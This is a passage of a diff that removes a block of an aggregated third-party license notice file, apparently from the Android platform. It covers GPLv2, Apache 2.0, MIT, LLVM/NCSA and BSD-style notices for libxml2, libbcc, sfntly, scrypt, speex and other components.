-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
-
-======================================================================
-external/libxml2/NOTICE
-
-Except where otherwise noted in the source code (e.g. the files hash.c,
-list.c and the trio files, which are covered by a similar licence but
-with different Copyright notices) all the files are:
-
- Copyright (C) 1998-2012 Daniel Veillard.  All Rights Reserved.
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is fur-
-nished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FIT-
-NESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
-
-======================================================================
-frameworks/compile/libbcc/NOTICE
-
-==========================
-NOTICE file for libbcc.git
-==========================
-
-* NOTICE for lib/ExecutionEngine/, lib/ScriptCRT/, include and helper/.
-
-   Copyright (c) 2005-2011, The Android Open Source Project
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-
-
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-
-
-* NOTICE for runtime/ and lib/CodeGen/.
-  Note: The NOTICE is the same for another git project, external/llvm.git.
-
-==============================================================================
-LLVM Release License
-==============================================================================
-University of Illinois/NCSA
-Open Source License
-
-Copyright (c) 2003-2011 University of Illinois at Urbana-Champaign.
-All rights reserved.
-
-Developed by:
-
-    LLVM Team
-
-    University of Illinois at Urbana-Champaign
-
-    http://llvm.org
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of
-this software and associated documentation files (the "Software"), to deal with
-the Software without restriction, including without limitation the rights to
-use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
-of the Software, and to permit persons to whom the Software is furnished to do
-so, subject to the following conditions:
-
-    * Redistributions of source code must retain the above copyright notice,
-      this list of conditions and the following disclaimers.
-
-    * Redistributions in binary form must reproduce the above copyright notice,
-      this list of conditions and the following disclaimers in the
-      documentation and/or other materials provided with the distribution.
-
-    * Neither the names of the LLVM Team, University of Illinois at
-      Urbana-Champaign, nor the names of its contributors may be used to
-      endorse or promote products derived from this Software without specific
-      prior written permission.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
-FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE
-CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE
-SOFTWARE.
-
-==============================================================================
-Copyrights and Licenses for Third Party Software Distributed with LLVM:
-==============================================================================
-The LLVM software contains code written by third parties.  Such software will
-have its own individual LICENSE.TXT file in the directory in which it appears.
-This file will describe the copyrights, license, and restrictions which apply
-to that code.
-
-The disclaimer of warranty in the University of Illinois Open Source License
-applies to all code in the LLVM Distribution, and nothing in any of the
-other licenses gives permission to use the names of the LLVM Team or the
-University of Illinois to endorse or promote products derived from this
-Software.
-
-The following pieces of software have additional or alternate copyrights,
-licenses, and/or restrictions:
-
-Program             Directory
--------             ---------
-Autoconf            llvm/autoconf
-                    llvm/projects/ModuleMaker/autoconf
-                    llvm/projects/sample/autoconf
-CellSPU backend     llvm/lib/Target/CellSPU/README.txt
-Google Test         llvm/utils/unittest/googletest
-OpenBSD regex       llvm/lib/Support/{reg*, COPYRIGHT.regex}
-
-
-
-* NOTICE for tests/disassem.cpp and tests/disassem.h.
-
-/*      $NetBSD: disassem.c,v 1.14 2003/03/27 16:58:36 mycroft Exp $    */
-
-/*-
- * Copyright (c) 1996 Mark Brinicombe.
- * Copyright (c) 1996 Brini.
- *
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- * 3. All advertising materials mentioning features or use of this software
- *    must display the following acknowledgement:
- *      This product includes software developed by Brini.
- * 4. The name of the company nor the name of the author may be used to
- *    endorse or promote products derived from this software without specific
- *    prior written permission.
- *
- * THIS SOFTWARE IS PROVIDED BY BRINI ``AS IS'' AND ANY EXPRESS OR IMPLIED
- * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
- * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
- * IN NO EVENT SHALL BRINI OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
- * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
- * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
- * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- *
- * RiscBSD kernel project
- *
- * db_disasm.c
- *
- * Kernel disassembler
- *
- * Created      : 10/02/96
- *
- * Structured after the sparc/sparc/db_disasm.c by David S. Miller &
- * Paul Kranenburg
- *
- * This code is not complete. Not all instructions are disassembled.
- */
-
-======================================================================
-external/sfntly/LICENSE
-
-
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "[]"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright 2011 Google Inc. All Rights Reserved.
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-
-
-======================================================================
-external/scrypt/NOTICE
-
-/*-
- * Copyright 2009 Colin Percival
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- *
- * This file was originally written by Colin Percival as part of the Tarsnap
- * online backup system.
- */
-
-/*
- * version 20110505
- * D. J. Bernstein
- * Public domain.
- *
- * Based on crypto_core/salsa208/armneon/core.c from SUPERCOP 20130419
- */
-
-======================================================================
-external/mime-support/LICENSE
-
-Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
-Source: git://anonscm.debian.org/collab-maint/mime-support.git
-
-Files: *
-Copyright: public-domain
-License: ad-hoc
- This package was written by Brian White <bcwhite@pobox.com> and others.
- It contains public information compiled from around the 'net and many people.
- .
- The "update-mime" program was written by Brian White and has been
- placed in the public domain.
-
-
-======================================================================
-external/speex/NOTICE
-
-Copyright 2002-2008 	Xiph.org Foundation
-Copyright 2002-2008 	Jean-Marc Valin
-Copyright 2005-2007	Analog Devices Inc.
-Copyright 2005-2008	Commonwealth Scientific and Industrial Research 
-                        Organisation (CSIRO)
-Copyright 1993, 2002, 2006 David Rowe
-Copyright 2003 		EpicGames
-Copyright 1992-1994	Jutta Degener, Carsten Bormann
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions
-are met:
-
-- Redistributions of source code must retain the above copyright
-notice, this list of conditions and the following disclaimer.
-
-- Redistributions in binary form must reproduce the above copyright
-notice, this list of conditions and the following disclaimer in the
-documentation and/or other materials provided with the distribution.
-
-- Neither the name of the Xiph.org Foundation nor the names of its
-contributors may be used to endorse or promote products derived from
-this software without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE FOUNDATION OR
-CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
-EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
-PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
-PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
-LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
-NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
-SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
-======================================================================
-external/apache-commons-math/LICENSE
-
-
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
